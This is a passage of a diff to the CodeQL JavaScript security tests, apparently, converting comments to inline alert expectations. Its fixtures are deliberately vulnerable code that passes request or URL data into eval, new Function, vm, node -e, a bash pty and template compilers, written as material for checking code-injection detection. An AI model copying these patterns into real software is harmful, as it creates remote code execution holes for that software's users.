+        compile(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($parse) {
-        $parse(location.search); // BAD
+        $parse(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($interpolate) {
-        $interpolate(location.search); // BAD
+        $interpolate(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($filter) {
-        $filter('orderBy')([], location.search); // BAD
+        $filter('orderBy')([], location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($filter) {
-        $filter('orderBy')([], 'hello'); // OK
+        $filter('orderBy')([], 'hello');
     })
     .controller('MyController', function($filter) {
-        $filter('random')([], location.search); // OK
+        $filter('random')([], location.search);
     })
     .controller('MyController', function($someService) {
-        $someService('orderBy')([], location.search); // OK
+        $someService('orderBy')([], location.search);
     })
     .controller('MyController', function($someService) {
-        $someService(location.search); // OK
+        $someService(location.search);
     });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/bad-code-sanitization.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/bad-code-sanitization.js
index f330b1513546..8714a1fa690f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/bad-code-sanitization.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/bad-code-sanitization.js
@@ -1,22 +1,22 @@
 function safeProp(key) {
-    return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? `.${key}` : `[${JSON.stringify(key)}]`;
+    return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? `.${key}` : `[${JSON.stringify(key)}]`; // $ Source[js/bad-code-sanitization]
 }
 
 function test1() {
     const statements = [];
     statements.push(`${name}${safeProp(key)}=${stringify(thing[key])}`);
-    return `(function(){${statements.join(';')}})` // NOT OK
+    return `(function(){${statements.join(';')}})` // $ Alert[js/bad-code-sanitization]
 }
 
 import htmlescape from 'htmlescape'
 
 function test2(props) {
     const pathname = props.data.pathname;
-    return `function(){return new Error('${htmlescape(pathname)}')}`; // NOT OK
+    return `function(){return new Error('${htmlescape(pathname)}')}`; // $ Alert[js/bad-code-sanitization]
 }
 
 function test3(input) {
-    return `(function(){${JSON.stringify(input)}))` // NOT OK
+    return `(function(){${JSON.stringify(input)}))` // $ Alert[js/bad-code-sanitization]
 }
 
 function evenSaferProp(key) {
@@ -24,24 +24,24 @@ function evenSaferProp(key) {
 }
 
 function test4(input) {
-    return `(function(){${evenSaferProp(input)}))` // OK
+    return `(function(){${evenSaferProp(input)}))`
 }
 
 function test4(input) {
-    var foo = `(function(){${JSON.stringify(input)}))` // NOT OK - we can type-track to a code-injection sink, the source is not remote flow.
+    var foo = `(function(){${JSON.stringify(input)}))` // $ Alert[js/bad-code-sanitization] - we can type-track to a code-injection sink, the source is not remote flow.
     setTimeout(foo);
 }
 
 function test5(input) {
-    console.log('methodName() => ' + JSON.stringify(input)); // OK
+    console.log('methodName() => ' + JSON.stringify(input));
 }
 
 function test6(input) {
-    return `(() => {${JSON.stringify(input)})` // NOT OK
+    return `(() => {${JSON.stringify(input)})` // $ Alert[js/bad-code-sanitization]
 }
 
 function test7(input) {
-    return `() => {${JSON.stringify(input)}` // NOT OK
+    return `() => {${JSON.stringify(input)}` // $ Alert[js/bad-code-sanitization]
 }
 
 var express = require('express');
@@ -49,7 +49,7 @@ var express = require('express');
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  var foo = `(function(){${JSON.stringify(req.param("wobble"))}))` // NOT - the source is remote-flow, but we know of no sink.
+  var foo = `(function(){${JSON.stringify(req.param("wobble"))}))` // $ Alert[js/bad-code-sanitization] - the source is remote-flow, but we know of no sink.
 
   setTimeout(`(function(){${JSON.stringify(req.param("wobble"))}))`); // OK - the source is remote-flow, and the sink is code-injection.
 
@@ -60,8 +60,8 @@ app.get('/some/path', function(req, res) {
 
 // Bad documentation example: 
 function createObjectWrite() {
-    const assignment = `obj[${JSON.stringify(key)}]=42`;
-    return `(function(){${assignment}})` // NOT OK
+    const assignment = `obj[${JSON.stringify(key)}]=42`; // $ Source[js/bad-code-sanitization]
+    return `(function(){${assignment}})` // $ Alert[js/bad-code-sanitization]
 }
 
 // Good documentation example: 
@@ -87,6 +87,6 @@ function good() {
     
     function createObjectWrite() {
         const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;
-        return `(function(){${assignment}})` // OK
+        return `(function(){${assignment}})`
     }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js
index 3a5abba84c03..3cb4837c2f9e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/express.js
@@ -3,35 +3,28 @@ var express = require('express');
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  // NOT OK
-  var f = new Function("return wibbles[" + req.param("wobble") + "];");
-  // NOT OK
-  require("vm").runInThisContext("return wibbles[" + req.param("wobble") + "];");
+  var f = new Function("return wibbles[" + req.param("wobble") + "];"); // $ Alert[js/code-injection]
+  require("vm").runInThisContext("return wibbles[" + req.param("wobble") + "];"); // $ Alert[js/code-injection]
   var runC = require("vm").runInNewContext;
-  // NOT OK
-  runC("return wibbles[" + req.param("wobble") + "];");
+  runC("return wibbles[" + req.param("wobble") + "];"); // $ Alert[js/code-injection]
   var vm = require("vm");
-  // NOT OK
-  vm.compileFunction(req.param("code_compileFunction"));
-  // NOT OK
-  var script = new vm.Script(req.param("code_Script"));
-  // NOT OK
-  var mdl = new vm.SourceTextModule(req.param("code_SourceTextModule"));
-  // NOT OK
-  vm.runInContext(req.param("code_runInContext"), vm.createContext());
+  vm.compileFunction(req.param("code_compileFunction")); // $ Alert[js/code-injection]
+  var script = new vm.Script(req.param("code_Script")); // $ Alert[js/code-injection]
+  var mdl = new vm.SourceTextModule(req.param("code_SourceTextModule")); // $ Alert[js/code-injection]
+  vm.runInContext(req.param("code_runInContext"), vm.createContext()); // $ Alert[js/code-injection]
 });
 
 const cp = require('child_process');
 app.get('/other/path', function(req, res) {
-  const taint = req.param("wobble");
-  cp.execFileSync('node', ['-e', taint]); // NOT OK
+  const taint = req.param("wobble"); // $ Source[js/code-injection]
+  cp.execFileSync('node', ['-e', taint]); // $ Alert[js/code-injection]
 
-  cp.execFileSync('node', ['-e', `console.log(${JSON.stringify(taint)})`]); // OK
+  cp.execFileSync('node', ['-e', `console.log(${JSON.stringify(taint)})`]);
 });
 
 const pty = require('node-pty');
 app.get('/terminal', function(req, res) {
-  const taint = req.param("wobble");
+  const taint = req.param("wobble"); // $ Source[js/code-injection]
   const shell = pty.spawn('bash', [], {
     name: 'xterm-color',
     cols: 80,
@@ -40,13 +33,13 @@ app.get('/terminal', function(req, res) {
     env: process.env
   });
 
-  shell.write(taint); // NOT OK
+  shell.write(taint); // $ Alert[js/code-injection]
 });
   
 require("express-ws")(app);
 
 app.ws("/socket-thing/", function (ws, req) {
-  ws.on("message", function (msg) {
-    eval(msg); // NOT OK
+  ws.on("message", function (msg) { // $ Source[js/code-injection]
+    eval(msg); // $ Alert[js/code-injection]
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/lib/index.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/lib/index.js
index 9df334c56dc1..5cab7f3cec32 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/lib/index.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/lib/index.js
@@ -1,31 +1,31 @@
-export function unsafeDeserialize(data) {
-  return eval("(" + data + ")"); // NOT OK
+export function unsafeDeserialize(data) { // $ Source[js/unsafe-code-construction]
+  return eval("(" + data + ")"); // $ Alert[js/unsafe-code-construction]
 }
 
-export function unsafeGetter(obj, name) {
-    return eval("obj." + name); // NOT OK
+export function unsafeGetter(obj, name) { // $ Source[js/unsafe-code-construction]
+    return eval("obj." + name); // $ Alert[js/unsafe-code-construction]
 }
 
 export function safeAssignment(obj, value) {
-    eval("obj.foo = " + JSON.stringify(value)); // OK
+    eval("obj.foo = " + JSON.stringify(value));
 }
 
-global.unsafeDeserialize = function (data) {
-  return eval("(" + data + ")"); // NOT OK
+global.unsafeDeserialize = function (data) { // $ Source[js/unsafe-code-construction]
+  return eval("(" + data + ")"); // $ Alert[js/unsafe-code-construction]
 }
 
 const matter = require("gray-matter");
 
-export function greySink(data) {
+export function greySink(data) { // $ Source[js/unsafe-code-construction]
     const str = `
     ---js
-    ${data}
+    ${data /* $ Alert[js/unsafe-code-construction] */}
     ---
     `
     const res = matter(str);
     console.log(res);
 
-    matter(str, { // OK
+    matter(str, {
         engines: {
             js: function (data) {
                 console.log("NOPE");
@@ -48,7 +48,7 @@ export function Template(text, opts) {
 Template.prototype = {
   compile: function () {
     var opts = this.opts;
-    eval("  var " + opts.varName + " = something();"); // NOT OK
+    eval("  var " + opts.varName + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
   },
   // The below are justs tests that ensure the global-access-path computations terminate.
   pathsTerminate1: function (node, prev) {
@@ -100,10 +100,10 @@ export class AccessPathClass {
   }
 
   doesTaint() {
-    eval("  var " + this.options1.taintedOption + " = something();"); // NOT OK
-    eval("  var " + this.options2.taintedOption + " = something();"); // NOT OK
-    eval("  var " + this.options3.taintedOption + " = something();"); // NOT OK
-    eval("  var " + this.taint + " = something();"); // NOT OK
+    eval("  var " + this.options1.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+    eval("  var " + this.options2.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+    eval("  var " + this.options3.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+    eval("  var " + this.taint + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
   }
 }
 
@@ -132,10 +132,10 @@ export class AccessPathClassBB {
     }
   
     doesTaint() {
-      eval("  var " + this.options1.taintedOption + " = something();"); // NOT OK
-      eval("  var " + this.options2.taintedOption + " = something();"); // NOT OK
-      eval("  var " + this.options3.taintedOption + " = something();"); // NOT OK
-      eval("  var " + this.taint + " = something();"); // NOT OK
+      eval("  var " + this.options1.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+      eval("  var " + this.options2.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+      eval("  var " + this.options3.taintedOption + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
+      eval("  var " + this.taint + " = something();"); // $ MISSING: Alert - due to lack of localFieldStep
     }
   }
   
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/module.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/module.js
index 64eeea78f2f1..18885dd25577 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/module.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/module.js
@@ -6,7 +6,7 @@ var app = express();
 app.get('/some/path', function (req, res) {
     let filename = req.query.filename;
     var m = new Module(filename, module.parent);
-    m._compile(req.query.code, filename); // NOT OK
+    m._compile(req.query.code, filename); // $ Alert[js/code-injection]
     var m2 = new module.constructor;
-    m2._compile(req.query.code, filename); // NOT OK
+    m2._compile(req.query.code, filename); // $ Alert[js/code-injection]
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js
index 0a9edc1ebe9c..dc2f5e8ec729 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react-native.js
@@ -4,8 +4,8 @@ import { WebView } from 'react-native';
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  let tainted = req.param("code");
-  <WebView injectedJavaScript={tainted}/>;  // NOT OK
+  let tainted = req.param("code"); // $ Source[js/code-injection]
+  <WebView injectedJavaScript={tainted}/>;  // $ Alert[js/code-injection]
   let wv = <WebView/>;
-  wv.injectJavaScript(tainted);             // NOT OK
+  wv.injectJavaScript(tainted);             // $ Alert[js/code-injection]
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js
index 54047c6f3cbd..32db7a3f621a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js
@@ -7,7 +7,7 @@ class Application extends React.Component {
         <div className="application">
             <Helmet>
                 <title>My unsafe</title>
-                <script type="application/javascript">{document.location.hash}</script>
+                <script type="application/javascript">{document.location.hash}</script> {/* $ Alert[js/code-injection] */}
             </Helmet>
         </div>
     );
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/template-sinks.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/template-sinks.js
index 51554663e4ee..73f75c703201 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/template-sinks.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/template-sinks.js
@@ -15,20 +15,20 @@ import * as webix from "webix";
 var app = express();
 
 app.get('/some/path', function (req, res) {
-    let tainted = req.query.foo;
+    let tainted = req.query.foo; // $ Source[js/code-injection]
 
-    pug.compile(tainted); // NOT OK
-    pug.render(tainted); // NOT OK
-    jade.compile(tainted); // NOT OK
-    jade.render(tainted); // NOT OK
-    dot.template(tainted); // NOT OK
-    ejs.render(tainted); // NOT OK
-    nunjucks.renderString(tainted); // NOT OK
-    lodash.template(tainted); // NOT OK
-    dot.compile(tainted); // NOT OK
-    handlebars.compile(tainted); // NOT OK
-    mustache.render(tainted); // NOT OK
-    Hogan.compile(tainted); // NOT OK
-    Eta.render(tainted); // NOT OK
-    Sqrl.render(tainted); // NOT OK
+    pug.compile(tainted); // $ Alert[js/code-injection]
+    pug.render(tainted); // $ Alert[js/code-injection]
+    jade.compile(tainted); // $ Alert[js/code-injection]
+    jade.render(tainted); // $ Alert[js/code-injection]
+    dot.template(tainted); // $ Alert[js/code-injection]
+    ejs.render(tainted); // $ Alert[js/code-injection]
+    nunjucks.renderString(tainted); // $ Alert[js/code-injection]
+    lodash.template(tainted); // $ Alert[js/code-injection]
+    dot.compile(tainted); // $ Alert[js/code-injection]
+    handlebars.compile(tainted); // $ Alert[js/code-injection]
+    mustache.render(tainted); // $ Alert[js/code-injection]
+    Hogan.compile(tainted); // $ Alert[js/code-injection]
+    Eta.render(tainted); // $ Alert[js/code-injection]
+    Sqrl.render(tainted); // $ Alert[js/code-injection]
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js
index 5b51da5daf26..f2ef50335647 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js
@@ -1,38 +1,31 @@
-// NOT OK
-eval(document.location.href.substring(document.location.href.indexOf("default=")+8))
+eval(document.location.href.substring(document.location.href.indexOf("default=")+8)) // $ Alert[js/code-injection]
+
+setTimeout(document.location.hash); // $ Alert[js/code-injection]
 
-// NOT OK
-setTimeout(document.location.hash);
 
-// OK
 setTimeout(document.location.protocol);
 
-// OK
+
 $('. ' + document.location.hostname);
 
-// NOT OK
-Function(document.location.search.replace(/.*\bfoo\s*=\s*([^;]*).*/, "$1"));
+Function(document.location.search.replace(/.*\bfoo\s*=\s*([^;]*).*/, "$1")); // $ Alert[js/code-injection]
 
-// NOT OK
-WebAssembly.compile(document.location.hash);
+WebAssembly.compile(document.location.hash); // $ Alert[js/code-injection]
 
-// NOT OK
-WebAssembly.compileStreaming(document.location.hash);
+WebAssembly.compileStreaming(document.location.hash); // $ Alert[js/code-injection]
 
-// NOT OK
-eval(atob(document.location.hash.substring(1)));
+eval(atob(document.location.hash.substring(1))); // $ Alert[js/code-injection]
 
-// NOT OK
-$('<a>').attr("onclick", location.search.substring(1));
+$('<a>').attr("onclick", location.search.substring(1)); // $ Alert[js/code-injection]
 
 (function test() {
-    var source = document.location.search.replace(/.*\bfoo\s*=\s*([^;]*).*/, "$1"); 
+    var source = document.location.search.replace(/.*\bfoo\s*=\s*([^;]*).*/, "$1");  // $ Source[js/code-injection]
 
-    new Function(source); // NOT OK
+    new Function(source); // $ Alert[js/code-injection]
 
-    Function(source); // NOT OK
+    Function(source); // $ Alert[js/code-injection]
 
-    new Function("a", "b", source); // NOT OK
+    new Function("a", "b", source); // $ Alert[js/code-injection]
 
-    new Function(...["a", "b"], source); // NOT OK
+    new Function(...["a", "b"], source); // $ Alert[js/code-injection]
 })();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.html b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.html
index 3f62fd326211..1d2014837d27 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.html
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.html
@@ -1,6 +1,6 @@
 <script src="path/to/webix.js" type="text/javascript" charset="utf-8"></script>
 <script>
-    webix.exec(document.location.hash); // NOT OK
-    webix.ui({ template: document.location.hash }); // NOT OK
-    webix.ui({ template: function () { return document.location.hash } }); // NOT OK
+    webix.exec(document.location.hash); // $ Alert[js/code-injection]
+    webix.ui({ template: document.location.hash }); // $ Alert[js/code-injection]
+    webix.ui({ template: function () { return document.location.hash } }); // $ Alert[js/code-injection]
 </script>
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.js
index 00fb98af9675..e9cb0a8b755c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/webix/webix.js
@@ -1,5 +1,5 @@
 import * as webix from 'webix';
 
-webix.exec(document.location.hash); // NOT OK
-webix.ui({ template: document.location.hash }); // NOT OK
-webix.ui({ template: function () { return document.location.hash } }); // NOT OK
\ No newline at end of file
+webix.exec(document.location.hash); // $ Alert[js/code-injection]
+webix.ui({ template: document.location.hash }); // $ Alert[js/code-injection]
+webix.ui({ template: function () { return document.location.hash } }); // $ Alert[js/code-injection]
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref
index edaea6fbb219..dd00277b79b5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-094/ExpressionInjection/ExpressionInjection.qlref
@@ -1 +1 @@
-Security/CWE-094/ExpressionInjection.ql
+query: Security/CWE-094/ExpressionInjection.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected
index 8511b6bcaf69..bddb28457097 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected
@@ -1,3 +1,10 @@
+#select
+| example.js:13:5:13:24 | window[message.name] | example.js:9:37:9:38 | ev | example.js:13:5:13:24 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | example.js:9:37:9:38 | ev | user-controlled value |
+| tst.js:5:5:5:24 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:5:5:5:24 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
+| tst.js:6:9:6:28 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:6:9:6:28 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
+| tst.js:11:5:11:19 | f[message.name] | tst.js:3:37:3:38 | ev | tst.js:11:5:11:19 | f[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
+| tst.js:15:5:15:14 | window[ev] | tst.js:3:37:3:38 | ev | tst.js:15:5:15:14 | window[ev] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
+| tst.js:21:5:21:29 | window[ ... e.name] | tst.js:3:37:3:38 | ev | tst.js:21:5:21:29 | window[ ... e.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
 edges
 | example.js:9:37:9:38 | ev | example.js:10:30:10:31 | ev | provenance |  |
 | example.js:10:9:10:37 | message | example.js:13:12:13:18 | message | provenance |  |
@@ -55,10 +62,3 @@ nodes
 | tst.js:21:17:21:23 | message | semmle.label | message |
 | tst.js:21:17:21:28 | message.name | semmle.label | message.name |
 subpaths
-#select
-| example.js:13:5:13:24 | window[message.name] | example.js:9:37:9:38 | ev | example.js:13:5:13:24 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | example.js:9:37:9:38 | ev | user-controlled value |
-| tst.js:5:5:5:24 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:5:5:5:24 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
-| tst.js:6:9:6:28 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:6:9:6:28 | window[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
-| tst.js:11:5:11:19 | f[message.name] | tst.js:3:37:3:38 | ev | tst.js:11:5:11:19 | f[message.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
-| tst.js:15:5:15:14 | window[ev] | tst.js:3:37:3:38 | ev | tst.js:15:5:15:14 | window[ev] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
-| tst.js:21:5:21:29 | window[ ... e.name] | tst.js:3:37:3:38 | ev | tst.js:21:5:21:29 | window[ ... e.name] | This method is invoked using a $@, which may allow remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref
index 5c4a993df5a7..15581f63a99c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref
@@ -1 +1,2 @@
-Security/CWE-094/UnsafeDynamicMethodAccess.ql
+query: Security/CWE-094/UnsafeDynamicMethodAccess.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js
index 8ffd5a8addda..e0be4ba3cb29 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js
@@ -6,9 +6,9 @@ function pause(data) {
   // ...
 }
 
-window.addEventListener("message", (ev) => {
+window.addEventListener("message", (ev) => { // $ Source
     let message = JSON.parse(ev.data);
 
     // Let the parent frame call the 'play' or 'pause' function 
-    window[message.name](message.payload); // NOT OK
+    window[message.name](message.payload); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js
index 2119fa97ed23..632249037b21 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js
@@ -1,22 +1,22 @@
 let obj = {};
 
-window.addEventListener('message', (ev) => {
+window.addEventListener('message', (ev) => { // $ Source
     let message = JSON.parse(ev.data);
-    window[message.name](message.payload); // NOT OK - may invoke eval
-    new window[message.name](message.payload); // NOT OK - may invoke jQuery $ function or similar
+    window[message.name](message.payload); // $ Alert - may invoke eval
+    new window[message.name](message.payload); // $ Alert - may invoke jQuery $ function or similar
     window["HTMLElement" + message.name](message.payload); // OK - concatenation restricts choice of methods
     window[`HTMLElement${message.name}`](message.payload); // OK - concatenation restricts choice of methods
     
     function f() {}
-    f[message.name](message.payload)(); // NOT OK - may acccess Function constructor
+    f[message.name](message.payload)(); // $ Alert - may acccess Function constructor
     
     obj[message.name](message.payload); // OK - may crash, but no code execution involved
 
-    window[ev](ev); // NOT OK
+    window[ev](ev); // $ Alert
 
     window[configData() + ' ' + message.name](message.payload); // OK - concatenation restricts choice of methods
 
     window[configData() + message.name](message.payload); // OK - concatenation restricts choice of methods
 
-    window['' + message.name](message.payload); // NOT OK - coercion does not restrict choice of methods
+    window['' + message.name](message.payload); // $ Alert - coercion does not restrict choice of methods
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.expected b/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.expected
index b8b29a028c25..f520dd88e972 100644
--- a/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.expected
@@ -1,8 +1,8 @@
-| tst-httpOnly.js:11:9:15:2 | session ...  BAD\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:11:9:15:2 | session ... alse\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:29:9:29:21 | session(sess) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:38:9:38:22 | session(sess2) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:47:9:47:22 | session(sess3) | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:51:9:55:2 | session ...  BAD\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:51:9:55:2 | session ... lag2\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:68:5:73:10 | res.coo ...      }) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:78:5:81:10 | res.coo ...      }) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:101:5:101:43 | res.coo ... ptions) | Sensitive server cookie is missing 'httpOnly' flag. |
@@ -12,9 +12,9 @@
 | tst-httpOnly.js:148:5:148:41 | res.coo ... ptions) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:159:5:159:43 | res.coo ... ptions) | Sensitive server cookie is missing 'httpOnly' flag. |
 | tst-httpOnly.js:170:5:170:40 | res.coo ... ptions) | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:209:37:209:51 | "authKey=ninja" | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:229:38:229:52 | "authKey=ninja" | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:289:37:289:59 | `authKe ... {attr}` | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:303:9:307:2 | session ...  BAD\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:320:9:324:2 | session ... tter\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
-| tst-httpOnly.js:330:37:330:68 | "sessio ... onKey() | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:208:37:208:51 | "authKey=ninja" | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:227:38:227:52 | "authKey=ninja" | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:287:37:287:59 | `authKe ... {attr}` | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:301:9:305:2 | session ... se }\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:318:9:322:2 | session ... tter\\n}) | Sensitive server cookie is missing 'httpOnly' flag. |
+| tst-httpOnly.js:328:37:328:68 | "sessio ... onKey() | Sensitive server cookie is missing 'httpOnly' flag. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.qlref b/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.qlref
index 683e1cd46985..85a4e780c1a9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-1004/ClientExposedCookie.qlref
@@ -1 +1,2 @@
-Security/CWE-1004/ClientExposedCookie.ql
+query: Security/CWE-1004/ClientExposedCookie.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js b/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js
index b91f82c781f2..681b3e2382a7 100644
